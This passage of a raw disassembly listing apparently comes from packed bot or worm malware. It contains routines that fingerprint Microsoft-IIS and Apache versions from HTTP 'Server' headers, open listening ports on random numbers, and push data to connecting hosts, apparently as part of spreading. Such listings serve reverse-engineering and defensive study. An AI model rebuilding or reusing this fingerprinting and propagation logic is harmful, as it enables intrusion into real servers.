		cmp	[ebp+var_24C], 0FFFFFFFFh
		jnz	short loc_412AED
		jmp	locret_412BC7
; ---------------------------------------------------------------------------


loc_412AED:				; CODE XREF: sub_412A3A+ACj
		cmp	[ebp+var_24C], 0
		jz	short loc_412B69
		and	[ebp+var_250], 0
		jmp	short loc_412B0C
; ---------------------------------------------------------------------------


loc_412AFF:				; CODE XREF: sub_412A3A:loc_412B34j
		mov	eax, [ebp+var_250]
		inc	eax
		mov	[ebp+var_250], eax


loc_412B0C:				; CODE XREF: sub_412A3A+C3j
		mov	eax, [ebp+var_250]
		cmp	eax, [ebp+var_24C]
		jnb	short loc_412B36
		mov	eax, [ebp+var_250]
		mov	eax, [ebp+eax+var_20C]
		cmp	eax, [ebp+var_222]
		jnz	short loc_412B34
		jmp	loc_412BC5
; ---------------------------------------------------------------------------


loc_412B34:				; CODE XREF: sub_412A3A+F3j
		jmp	short loc_412AFF
; ---------------------------------------------------------------------------


loc_412B36:				; CODE XREF: sub_412A3A+DEj
		push	3
		mov	eax, [ebp+var_24C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-3]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	200h
		push	0
		push	[ebp+var_8]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		jmp	short loc_412B7F
; ---------------------------------------------------------------------------


loc_412B69:				; CODE XREF: sub_412A3A+BAj
		push	203h
		push	0
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch


loc_412B7F:				; CODE XREF: sub_412A3A+12Dj
		jmp	loc_412A9F
; ---------------------------------------------------------------------------


loc_412B84:				; CODE XREF: sub_412A3A:loc_412BC5j
		push	[ebp+arg_4]
		call	sub_4127D0
		pop	ecx
		test	eax, eax
		jnz	short loc_412B93
		jmp	short locret_412BC7
; ---------------------------------------------------------------------------


loc_412B93:				; CODE XREF: sub_412A3A+155j
		push	offset dword_41CC40
		push	[ebp+arg_4]
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_0]
		call	sub_4129CA
		add	esp, 10h
		push	1
		push	[ebp+arg_4]
		call	dword_417200	; shutdown
		push	3E8h
		call	dword_41709C	; Sleep
		jmp	short locret_412BC7
; ---------------------------------------------------------------------------


loc_412BC5:				; CODE XREF: sub_412A3A+F5j
		jmp	short loc_412B84
; ---------------------------------------------------------------------------

locret_412BC7:				; CODE XREF: sub_412A3A+72j
					; sub_412A3A+AEj ...
		leave
		retn
sub_412A3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412BC9	proc near		; CODE XREF: sub_41331E+165p

var_85C		= dword	ptr -85Ch
var_858		= dword	ptr -858h
var_854		= dword	ptr -854h
var_850		= dword	ptr -850h
var_84C		= byte ptr -84Ch
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 85Ch
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_404FE7
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		mov	[ebp+var_854], 3Ch
		and	[ebp+var_850], 0
		and	[ebp+var_810], 0


loc_412BFD:				; CODE XREF: sub_412BC9+A9j
		and	[ebp+var_85C], 0
		jmp	short loc_412C13
; ---------------------------------------------------------------------------


loc_412C06:				; CODE XREF: sub_412BC9:loc_412C35j
		mov	eax, [ebp+var_85C]
		inc	eax
		mov	[ebp+var_85C], eax


loc_412C13:				; CODE XREF: sub_412BC9+3Bj
		mov	eax, [ebp+var_85C]
		cmp	eax, [ebp+var_810]
		jnb	short loc_412C37
		mov	eax, [ebp+var_85C]
		mov	eax, [ebp+eax*4+var_80C]
		cmp	eax, [ebp+var_8]
		jnz	short loc_412C35
		jmp	short loc_412C37
; ---------------------------------------------------------------------------


loc_412C35:				; CODE XREF: sub_412BC9+68j
		jmp	short loc_412C06
; ---------------------------------------------------------------------------


loc_412C37:				; CODE XREF: sub_412BC9+56j
					; sub_412BC9+6Aj
		mov	eax, [ebp+var_85C]
		cmp	eax, [ebp+var_810]
		jnz	short loc_412C6E
		cmp	[ebp+var_810], 200h
		jnb	short loc_412C6E
		mov	eax, [ebp+var_85C]
		mov	ecx, [ebp+var_8]
		mov	[ebp+eax*4+var_80C], ecx
		mov	eax, [ebp+var_810]
		inc	eax
		mov	[ebp+var_810], eax


loc_412C6E:				; CODE XREF: sub_412BC9+7Aj
					; sub_412BC9+86j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_412BFD
		lea	eax, [ebp+var_854]
		push	eax
		push	0
		lea	eax, [ebp+var_810]
		push	eax
		push	0
		push	0
		call	dword_41722C	; select
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 1
		jz	short loc_412CA5
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		jmp	locret_412D4A
; ---------------------------------------------------------------------------


loc_412CA5:				; CODE XREF: sub_412BC9+CCj
		push	[ebp+var_8]
		call	sub_412720
		pop	ecx
		push	[ebp+var_8]
		call	sub_412919
		pop	ecx
		mov	[ebp+var_858], eax
		cmp	[ebp+var_858], 0
		jnz	short loc_412CD1
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		jmp	short locret_412D4A
; ---------------------------------------------------------------------------


loc_412CD1:				; CODE XREF: sub_412BC9+FBj
		lea	eax, [ebp+var_84C]
		push	eax
		push	[ebp+var_858]
		call	sub_41294E
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_412CF9
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		jmp	short locret_412D4A
; ---------------------------------------------------------------------------


loc_412CF9:				; CODE XREF: sub_412BC9+123j
		push	[ebp+var_8]
		call	sub_4127D0
		pop	ecx
		test	eax, eax
		jnz	short loc_412D11
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		jmp	short locret_412D4A
; ---------------------------------------------------------------------------


loc_412D11:				; CODE XREF: sub_412BC9+13Bj
		push	offset dword_41CC44
		push	[ebp+var_8]
		lea	eax, [ebp+var_84C]
		push	eax
		push	[ebp+var_4]
		call	sub_4129CA
		add	esp, 10h
		push	1
		push	[ebp+var_8]
		call	dword_417200	; shutdown
		push	3E8h
		call	dword_41709C	; Sleep
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx

locret_412D4A:				; CODE XREF: sub_412BC9+D7j
					; sub_412BC9+106j ...
		leave
		retn
sub_412BC9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412D4C	proc near		; CODE XREF: sub_41331E:loc_413420p
		push	ebp
		mov	ebp, esp
		mov	eax, offset dword_41EAF4
		pop	ebp
		retn
sub_412D4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412D56	proc near		; DATA XREF: sub_412E04+CAo

var_48		= dword	ptr -48h
var_44		= byte ptr -44h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		push	[ebp+var_8]
		call	sub_412720
		pop	ecx
		push	[ebp+var_8]
		call	sub_412919
		pop	ecx
		mov	[ebp+var_48], eax
		cmp	[ebp+var_48], 0
		jnz	short loc_412D8A
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short locret_412E00
; ---------------------------------------------------------------------------


loc_412D8A:				; CODE XREF: sub_412D56+25j
		lea	eax, [ebp+var_44]
		push	eax
		push	[ebp+var_48]
		call	sub_41294E
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_412DAE
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short locret_412E00
; ---------------------------------------------------------------------------


loc_412DAE:				; CODE XREF: sub_412D56+49j
		push	[ebp+var_8]
		call	sub_4127D0
		pop	ecx
		test	eax, eax
		jnz	short loc_412DC8
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short locret_412E00
; ---------------------------------------------------------------------------


loc_412DC8:				; CODE XREF: sub_412D56+63j
		push	offset dword_41CC48
		push	[ebp+var_8]
		lea	eax, [ebp+var_44]
		push	eax
		push	[ebp+var_4]
		call	sub_4129CA
		add	esp, 10h
		push	1
		push	[ebp+var_8]
		call	dword_417200	; shutdown
		push	3E8h
		call	dword_41709C	; Sleep
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax

locret_412E00:				; CODE XREF: sub_412D56+32j
					; sub_412D56+56j ...
		leave
		retn	4
sub_412D56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412E04	proc near		; DATA XREF: sub_412F07+B0o

var_1B8		= dword	ptr -1B8h
var_1B4		= dword	ptr -1B4h
var_1B0		= byte ptr -1B0h
var_1AA		= byte ptr -1AAh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B8h
		push	1ADh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1B4]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	1
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_412E59
		push	[ebp+var_1B4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_412F03
; ---------------------------------------------------------------------------


loc_412E59:				; CODE XREF: sub_412E04+40j
		lea	eax, [ebp+var_1B0]
		push	eax
		mov	eax, [ebp+var_1B4]
		push	dword ptr [eax]
		push	offset dword_41CC4C
		lea	eax, [ebp+var_1AA]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		lea	eax, [ebp+var_1B0]
		push	eax
		push	offset dword_41EAF4
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_412E8F:				; CODE XREF: sub_412E04+B7j
					; sub_412E04:loc_412EEAj
		mov	eax, [ebp+var_1B4]
		cmp	dword ptr [eax+4], 0
		jz	short loc_412E9D
		jmp	short loc_412EEC
; ---------------------------------------------------------------------------


loc_412E9D:				; CODE XREF: sub_412E04+95j
		push	3E8h
		push	[ebp+var_4]
		call	sub_4048EF
		pop	ecx
		pop	ecx
		mov	[ebp+var_1B8], eax
		cmp	[ebp+var_1B8], 0FFFFFFFFh
		jnz	short loc_412EBD
		jmp	short loc_412E8F
; ---------------------------------------------------------------------------


loc_412EBD:				; CODE XREF: sub_412E04+B5j
		cmp	[ebp+var_1B8], 0
		jnz	short loc_412EC8
		jmp	short loc_412EEC
; ---------------------------------------------------------------------------


loc_412EC8:				; CODE XREF: sub_412E04+C0j
		push	[ebp+var_1B8]
		push	offset sub_412D56
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_412EEA
		push	[ebp+var_1B8]
		call	sub_4053B1
		pop	ecx


loc_412EEA:				; CODE XREF: sub_412E04+D8j
		jmp	short loc_412E8F
; ---------------------------------------------------------------------------


loc_412EEC:				; CODE XREF: sub_412E04+97j
					; sub_412E04+C2j
		push	[ebp+var_4]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_1B4]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_412F03:				; CODE XREF: sub_412E04+50j
		leave
		retn	4
sub_412E04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412F07	proc near		; CODE XREF: sub_40A9CF+F6Ep
					; sub_41349C+2C7p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	1ADh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_412F26
		jmp	locret_412FC4
; ---------------------------------------------------------------------------


loc_412F26:				; CODE XREF: sub_412F07+18j
		cmp	[ebp+arg_4], 0
		jz	short loc_412F3A
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_C], eax
		jmp	short loc_412F4E
; ---------------------------------------------------------------------------


loc_412F3A:				; CODE XREF: sub_412F07+23j
		push	0FFFFh
		push	401h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_C], eax


loc_412F4E:				; CODE XREF: sub_412F07+31j
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_412F63
		cmp	[ebp+var_4], 0FFFFh
		jbe	short loc_412F77


loc_412F63:				; CODE XREF: sub_412F07+51j
		push	0FFFFh
		push	401h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax


loc_412F77:				; CODE XREF: sub_412F07+5Aj
		push	0Ah
		mov	eax, [ebp+var_8]
		add	eax, 4
		push	eax
		push	[ebp+var_4]
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		add	eax, 0Ah
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		push	offset dword_41CC84
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_8]
		push	offset sub_412E04
		call	sub_4095A4
		add	esp, 14h

locret_412FC4:				; CODE XREF: sub_412F07+1Aj
		leave
		retn
sub_412F07	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412FC6	proc near		; CODE XREF: MEW:004168CBp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_412FD8
; ---------------------------------------------------------------------------


loc_412FD1:				; CODE XREF: sub_412FC6:loc_413088j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_412FD8:				; CODE XREF: sub_412FC6+9j
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		cmp	off_41CCD6[eax], 0
		jz	locret_41308D
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		mov	ecx, [ebp+var_4]
		imul	ecx, 3Ah
		mov	ecx, dword_41CCCE[ecx]
		and	ecx, 0FFh
		mov	eax, off_41CCD6[eax]
		sub	eax, ecx
		mov	ecx, [ebp+var_4]
		imul	ecx, 3Ah
		mov	off_41CCD6[ecx], eax
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		and	dword_41CCD2[eax], 0


loc_413024:				; CODE XREF: sub_412FC6+7Ej
					; sub_412FC6+BEj
		call	sub_410422
		mov	ecx, [ebp+var_4]
		imul	ecx, 3Ah
		mov	dword_41CCCE[ecx], eax
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		cmp	dword_41CCCE[eax], 0
		jnz	short loc_413046
		jmp	short loc_413024
; ---------------------------------------------------------------------------


loc_413046:				; CODE XREF: sub_412FC6+7Cj
		and	[ebp+var_8], 0
		jmp	short loc_413053
; ---------------------------------------------------------------------------


loc_41304C:				; CODE XREF: sub_412FC6:loc_413086j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_413053:				; CODE XREF: sub_412FC6+84j
		mov	eax, [ebp+var_8]
		imul	eax, 3Ah
		cmp	off_41CCD6[eax], 0
		jz	short loc_413088
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jz	short loc_413086
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		mov	ecx, [ebp+var_8]
		imul	ecx, 3Ah
		mov	eax, dword_41CCCE[eax]
		cmp	eax, dword_41CCCE[ecx]
		jnz	short loc_413086
		jmp	short loc_413024
; ---------------------------------------------------------------------------


loc_413086:				; CODE XREF: sub_412FC6+A2j
					; sub_412FC6+BCj
		jmp	short loc_41304C
; ---------------------------------------------------------------------------


loc_413088:				; CODE XREF: sub_412FC6+9Aj
		jmp	loc_412FD1
; ---------------------------------------------------------------------------

locret_41308D:				; CODE XREF: sub_412FC6+1Fj
		leave
		retn
sub_412FC6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41308F	proc near		; CODE XREF: sub_41331E+72p

var_820		= dword	ptr -820h
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= byte ptr -810h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 820h
		push	16h
		push	offset aOptionsHttp1_0 ; "OPTIONS / HTTP/1.0\r\n\r\n"
		push	[ebp+arg_0]
		call	sub_4053BF
		add	esp, 0Ch
		push	0EA60h
		push	[ebp+arg_0]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4130C4
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_4130C4:				; CODE XREF: sub_41308F+2Cj
		push	0
		push	800h
		lea	eax, [ebp+var_810]
		push	eax
		push	[ebp+arg_0]
		call	dword_417248	; recv
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4130F3
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_4130F3
		cmp	[ebp+var_8], 800h
		jnz	short loc_4130FA


loc_4130F3:				; CODE XREF: sub_41308F+53j
					; sub_41308F+59j
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_4130FA:				; CODE XREF: sub_41308F+62j
		mov	eax, [ebp+var_8]
		and	[ebp+eax+var_810], 0
		and	[ebp+var_4], 0
		push	offset aServer	; "Server:"
		lea	eax, [ebp+var_810]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_41312C
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_41312C:				; CODE XREF: sub_41308F+94j
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	[ebp+var_10]
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_413150
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_413150:				; CODE XREF: sub_41308F+B8j
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_413173
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_413173:				; CODE XREF: sub_41308F+DBj
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		push	0Dh
		push	offset aMicrosoftIis ; "Microsoft-IIS"
		push	[ebp+var_10]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_41323C
		and	[ebp+var_818], 0
		and	[ebp+var_814], 0
		lea	eax, [ebp+var_814]
		push	eax
		lea	eax, [ebp+var_818]
		push	eax
		push	offset aMicrosoftIisU_ ; "Microsoft-IIS/%u.%u"
		push	[ebp+var_10]
		call	sub_416BA2	; sscanf
		add	esp, 10h
		cmp	[ebp+var_818], 4
		jnz	short loc_4131E9
		cmp	[ebp+var_814], 0
		jnz	short loc_4131E9
		push	4
		pop	eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_4131E9:				; CODE XREF: sub_41308F+147j
					; sub_41308F+150j
		cmp	[ebp+var_818], 5
		jnz	short loc_413203
		cmp	[ebp+var_814], 0
		jnz	short loc_413203
		push	3
		pop	eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_413203:				; CODE XREF: sub_41308F+161j
					; sub_41308F+16Aj
		cmp	[ebp+var_818], 5
		jnz	short loc_41321D
		cmp	[ebp+var_814], 5
		jnz	short loc_41321D
		push	2
		pop	eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_41321D:				; CODE XREF: sub_41308F+17Bj
					; sub_41308F+184j
		cmp	[ebp+var_818], 6
		jnz	short loc_413237
		cmp	[ebp+var_814], 0
		jnz	short loc_413237
		push	1
		pop	eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_413237:				; CODE XREF: sub_41308F+195j
					; sub_41308F+19Ej
		jmp	loc_41331A
; ---------------------------------------------------------------------------


loc_41323C:				; CODE XREF: sub_41308F+10Ej
		cmp	[ebp+var_C], 0
		jz	loc_41331A
		push	6
		push	offset aApache	; "Apache"
		push	[ebp+var_10]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_41331A
		and	[ebp+var_820], 0
		lea	eax, [ebp+var_820]
		push	eax
		push	offset dword_41CD68
		push	[ebp+var_10]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		push	6
		push	offset dword_41CD60
		push	[ebp+var_C]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_81C], eax
		cmp	[ebp+var_81C], 1
		jnz	short loc_4132BE
		push	7
		push	offset dword_41CD58
		push	[ebp+var_C]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4132BE
		xor	eax, eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------


loc_4132BE:				; CODE XREF: sub_41308F+213j
					; sub_41308F+229j
		cmp	[ebp+var_820], 1
		jnz	short loc_4132D5
		cmp	[ebp+var_81C], 0
		jz	short loc_4132D5
		push	6
		pop	eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------


loc_4132D5:				; CODE XREF: sub_41308F+236j
					; sub_41308F+23Fj
		cmp	[ebp+var_820], 1
		jnz	short loc_4132EC
		cmp	[ebp+var_81C], 0
		jnz	short loc_4132EC
		push	5
		pop	eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------


loc_4132EC:				; CODE XREF: sub_41308F+24Dj
					; sub_41308F+256j
		cmp	[ebp+var_820], 2
		jnz	short loc_413303
		cmp	[ebp+var_81C], 0
		jz	short loc_413303
		push	6
		pop	eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------


loc_413303:				; CODE XREF: sub_41308F+264j
					; sub_41308F+26Dj
		cmp	[ebp+var_820], 2
		jnz	short loc_41331A
		cmp	[ebp+var_81C], 0
		jnz	short loc_41331A
		push	5
		pop	eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------


loc_41331A:				; CODE XREF: sub_41308F:loc_413237j
					; sub_41308F+1B1j ...
		xor	eax, eax

locret_41331C:				; CODE XREF: sub_41308F+30j
					; sub_41308F+66j ...
		leave
		retn
sub_41308F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41331E	proc near		; DATA XREF: sub_41349C+4EBo
					; sub_413CB3+27Co

var_14C		= dword	ptr -14Ch
var_11A		= dword	ptr -11Ah
var_112		= dword	ptr -112h
var_10E		= dword	ptr -10Eh
var_10A		= byte ptr -10Ah
var_8A		= dword	ptr -8Ah
var_86		= byte ptr -86h
var_6		= byte ptr -6
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14Ch
		push	14Ch
		push	[ebp+arg_0]
		lea	eax, [ebp+var_14C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	1
		push	[ebp+var_10E]
		call	sub_404457
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_10A]
		push	eax
		push	[ebp+var_10E]
		call	sub_4044F7
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_413381
		push	[ebp+var_10E]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_413498
; ---------------------------------------------------------------------------


loc_413381:				; CODE XREF: sub_41331E+4Ej
		cmp	[ebp+var_112], 0
		jz	short loc_4133B1
		push	[ebp+var_10E]
		call	sub_41308F
		pop	ecx
		cmp	[ebp+var_112], eax
		jz	short loc_4133B1
		push	[ebp+var_10E]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	locret_413498
; ---------------------------------------------------------------------------


loc_4133B1:				; CODE XREF: sub_41331E+6Aj
					; sub_41331E+7Ej
		cmp	[ebp+var_8A], 1
		jnz	short loc_4133E0
		lea	eax, [ebp+var_6]
		push	eax
		push	[ebp+var_10E]
		call	sub_404552
		pop	ecx
		pop	ecx
		push	offset dword_41EF18
		lea	eax, [ebp+var_86]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_413444
; ---------------------------------------------------------------------------


loc_4133E0:				; CODE XREF: sub_41331E+9Aj
		cmp	[ebp+var_8A], 2
		jnz	short loc_413420
		push	0Ah
		lea	eax, [ebp+var_6]
		push	eax
		push	0FFFFh
		push	401h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		lea	eax, [ebp+var_10A]
		push	eax
		lea	eax, [ebp+var_86]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_413444
; ---------------------------------------------------------------------------


loc_413420:				; CODE XREF: sub_41331E+C9j
		call	sub_412D4C
		push	eax
		lea	eax, [ebp+var_6]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset dword_41EF18
		lea	eax, [ebp+var_86]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_413444:				; CODE XREF: sub_41331E+C0j
					; sub_41331E+100j
		lea	eax, [ebp+var_14C]
		push	eax
		call	[ebp+var_11A]
		cmp	[ebp+var_8A], 1
		jnz	short loc_41346F
		push	[ebp+var_10E]
		push	[ebp+var_14C]
		call	sub_412A3A
		pop	ecx
		pop	ecx
		jmp	short loc_41348A
; ---------------------------------------------------------------------------


loc_41346F:				; CODE XREF: sub_41331E+13Aj
		cmp	[ebp+var_8A], 2
		jnz	short loc_41348A
		lea	eax, [ebp+var_6]
		push	eax
		lea	eax, [ebp+var_86]
		push	eax
		call	sub_412BC9
		pop	ecx
		pop	ecx


loc_41348A:				; CODE XREF: sub_41331E+14Fj
					; sub_41331E+158j
		push	[ebp+var_10E]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax

locret_413498:				; CODE XREF: sub_41331E+5Ej
					; sub_41331E+8Ej
		leave
		retn	4
sub_41331E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41349C	proc near		; DATA XREF: sub_413AB0+1F4o

var_774		= qword	ptr -774h
var_764		= qword	ptr -764h
var_75C		= byte ptr -75Ch
var_65C		= byte ptr -65Ch
var_658		= dword	ptr -658h
var_654		= dword	ptr -654h
var_650		= dword	ptr -650h
var_64C		= byte ptr -64Ch
var_648		= byte ptr -648h
var_644		= dword	ptr -644h
var_640		= byte ptr -640h
var_62C		= dword	ptr -62Ch
var_628		= dword	ptr -628h
var_624		= byte ptr -624h
var_51C		= byte ptr -51Ch
var_50E		= dword	ptr -50Eh
var_50A		= dword	ptr -50Ah
var_506		= dword	ptr -506h
var_502		= byte ptr -502h
var_37B		= byte ptr -37Bh
var_37A		= byte ptr -37Ah
var_377		= byte ptr -377h
var_36B		= byte ptr -36Bh
var_36A		= byte ptr -36Ah
var_35C		= dword	ptr -35Ch
var_358		= dword	ptr -358h
var_354		= byte ptr -354h
var_341		= byte ptr -341h
var_296		= dword	ptr -296h
var_20C		= byte ptr -20Ch
var_20B		= byte ptr -20Bh
var_10C		= dword	ptr -10Ch
var_108		= byte ptr -108h
var_107		= byte ptr -107h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	edi
		push	2C9h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_628]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_51C]
		push	eax
		call	sub_407A86
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_4134F5
		push	14Ch
		push	0
		lea	eax, [ebp+var_358]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		jmp	loc_4135BF
; ---------------------------------------------------------------------------


loc_4134F5:				; CODE XREF: sub_41349C+3Cj
		and	[ebp+var_62C], 0
		jmp	short loc_41350B
; ---------------------------------------------------------------------------


loc_4134FE:				; CODE XREF: sub_41349C:loc_4135BAj
		mov	eax, [ebp+var_62C]
		inc	eax
		mov	[ebp+var_62C], eax


loc_41350B:				; CODE XREF: sub_41349C+60j
		mov	eax, [ebp+var_62C]
		imul	eax, 3Ah
		add	eax, offset byte_41CCA8
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_4105FB
